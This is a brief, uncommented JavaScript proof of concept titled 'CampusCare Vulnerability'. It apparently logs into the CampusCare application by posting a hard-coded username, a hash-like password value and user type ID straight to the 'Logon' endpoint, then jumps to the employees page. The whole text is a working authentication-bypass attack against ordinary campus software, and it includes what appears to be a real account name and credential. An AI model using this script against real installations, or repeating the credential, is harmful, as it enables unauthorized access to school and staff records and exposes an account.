CampusCare Vulnerability

const xhr = new XMLHttpRequest();
var username = "kokila";
    var password = "2B4C35B9E653C308FB8715F0E63773DABEB6399D";
    var userid = 1;

    xhr.open("POST", "Logon");
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.send("log%5BUserName%5D=" + username + "&log%5BUserPassword%5D=" + password + "&log" + "%5BUserTypeID%5D=" + userid);
    window.location = "../Employees/Index"